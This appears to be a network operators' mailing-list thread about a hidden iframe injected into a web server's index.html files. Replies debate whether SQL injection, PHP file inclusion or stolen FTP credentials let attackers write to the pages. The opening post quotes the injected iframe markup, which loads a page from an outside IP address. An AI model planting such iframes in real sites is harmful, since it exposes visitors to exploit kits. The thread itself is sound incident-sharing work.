We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today:
src="http://77.92.158.122/webmail/inc/web/index.php"
style="display: none;" height="0" width="0"></iframe>
<iframe src="http://77.92.158.122/webmail/inc/web/index.php"
style="display: none;" height="0" width="0"></iframe> </body> </html>
IP address resolves to mail.yaris.com; couldn't find any A/V site references to this.
Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation.
Just a heads up for folks; we have a team investigating...
Russell Berg
Dir - Product Development
Airstream Communications
berg@wins.net
715-832-3726
I've run into this sort of attack before, where they change the page to load
content from elsewhere; but I couldn't figure out how they managed to write
to the sites' pages. They were hosted on a commercial webhost, and so if it
was a compromised host (which seemed like the only possibility to me), that
didn't speak well for the hosting company.
We were having issues with the company anyways, though; so I took down the
site, sanitized the pages (and removed a bunch of junk), and put the site
back up with another company.
But if you figure out how they got write access to a static website, I'd
love to hear it.
-N.
Most likely SQL injection. At any given time, there are hundreds of
thousands of "legitimate" websites out there that are unwittingly harboring
malicious code.
- - ferg
Paul Ferguson wrote:
Most likely SQL injection. At any given time, there are hundreds of
thousands of "legitimate" websites out there that are unwittingly harboring
malicious code.
Most of the MS-SQL injection attacks we see write malicious javascript into the DB itself so all query results include it. However, I'm not sure how easy it is to leverage to get system access - we've seen a number of compromised customer machines and there didn't appear to be any further compromise of them beyond the obvious. In the OP's case it sounds like static HTML files were altered. My bet is that an ftp or ssh account was brute forced.
Mike
Yes -- SQL Injection directly into the HTML.
Happening all over the place, hundreds of thousands at a time --- we've
been trying to highlight the fact that improper configuration of web
services, "unescaped" configurations, etc., allow SQL injection to insert
code (e.g. JavaScript, iFrames, etc.) directly into the HTML or Header.
See also:
http://en.wikipedia.org/wiki/Sql_injection#Real-world_examples
- - ferg
I've run into this sort of attack before, where they change the page to load
content from elsewhere; but I couldn't figure out how they managed to write
to the sites' pages. They were hosted on a commercial webhost, and so if it
was a compromised host (which seemed like the only possibility to me), that
didn't speak well for the hosting company.
SQLi is prolly the most common way to inject code. Shared databases
can lead to shared security problems. It's also possible that the
hosting provider could be having other security issues that would
allow an attack to directly edit the website in question. Remote file
inclusions are also a popular way to modify web page. Include a web
shell, and then run a few commands to insert the malicious code into
the website.
We were having issues with the company anyways, though; so I took down the
site, sanitized the pages (and removed a bunch of junk), and put the site
back up with another company.
But if you figure out how they got write access to a static website, I'd
love to hear it.
Compromised FTP credentials would be my guess. They can be obtained
by brute force attacks or credential stealing trojans.
The obfuscation used by this exploit kit looked kinda familiar, but I
wasn't able to match it to any exploit kits I know of. But it looks
like the guys at Arbor examined this at the beginning of the year:
http://asert.arbornetworks.com/2009/01/buy-buy-exploitation/
They're referring to it as Buy Buy due to the buybuy.html page. Also
looks like a commenter at the article mentions that he had a problem
with this that was caused by compromised ftp accounts.
Of course, given how often exploit kits are copied, modified, merged,
etc, etc. The buy buy kit could just be a relative of the this one.
Regards,
-Nick
Mike Lewinski wrote:
Paul Ferguson wrote:
Most likely SQL injection. At any given time, there are hundreds of
thousands of "legitimate" websites out there that are unwittingly harboring
malicious code.
Most of the MS-SQL injection attacks we see write malicious javascript into the DB itself so all query results include it. However, I'm not sure how easy it is to leverage to get system access - we've seen a number of compromised customer machines and there didn't appear to be any further compromise of them beyond the obvious. In the OP's case it sounds like static HTML files were altered. My bet is that an ftp or ssh account was brute forced.
Many web hosting farm are just huge botnets all on their own. Web server botnets made of IIS and Apache servers.
While that malicious code could have been uploaded using an SQL injection or a server software vulnerability, one of the attacks seen most often is PHP file inclusion.
This is a really big problem for web hosting service providers, but even While at first this thread was about helping a fellow operator, I see how this has become off-topic for NANOG as it deals with web server database and software security rather than operationally how to handle such infestations.
For those interested, I wrote an article on these types of attacks back when I worked for a software vendor:
http://tinyurl.com/6kol8f [PDF]
Web Server Botnets and Server Farms as Attack Platforms
(all rights reserved to Virus Bulletin)
Gadi.
Yeah, it could have been any number of ways -- there has also been a huge
increase of SSH brute-force attacks in the past few weeks:
https://isc.sans.org/diary.html?storyid=6214
- - ferg
Hi,
I see this every day at my webservers with a lot of *outdated* *exploitable* customer websites [I love old joomla's];
but mod_security does a great job nuking sql and various other exploits.
Kind regards,
Ingo Flaschberger
Ingo Flaschberger wrote:
Hi,
I see this every day at my webservers with a lot of *outdated* *exploitable* customer websites [I love old joomla's];
but mod_security does a great job nuking sql and various other exploits.
mod_security saves our collective behinds every day at nearly every very big Internet service provider I know of, and definitely hosting operations.
Mostly I like tweaking with it to see patterns of people who try to mess with me, rather than use most of the usual rules it has.
Gadi.
We have seen this twice recently....we have tracked it back to a worm which
steals unencrypted ftp information from a desktop. We tracked it down
because it occured on 7 or 8 sites that were on different servers both Linux
and Windows...some had no database associated with them. The only common
thing on these sites was they all had the same web developer, she confirmed
she was using filezilla which does not encrypt the passwords she also
confirmed that she had found a virus/worm on her machine a few weeks before.
The same thing was found on other websites that she maintained that we did
not host. FTP logs confirmed that a bot was making the changes through FTP.
The bot seems to inject a java script and IFrame in all pages that are named
index.* - it changed HTML, php and asp extensions.
Chuck Schick
Warp 8, Inc.
(303)-421-5140
www.warp8.com
I have seen a couple of open source web apps (CMSs, etc.) that store names of php files in a database, and those files names are then opened with fopen. SQL injection could be used to write a URL in to the database, and then wait for that entry to be called, and viola, you can execute php code, or whatever.
Obviously that is relevant to the first part of your reply - it would not work with static content.